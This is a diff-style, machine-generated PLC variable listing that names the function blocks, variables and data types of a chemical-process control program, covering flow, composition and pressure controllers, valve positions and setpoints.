+43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; 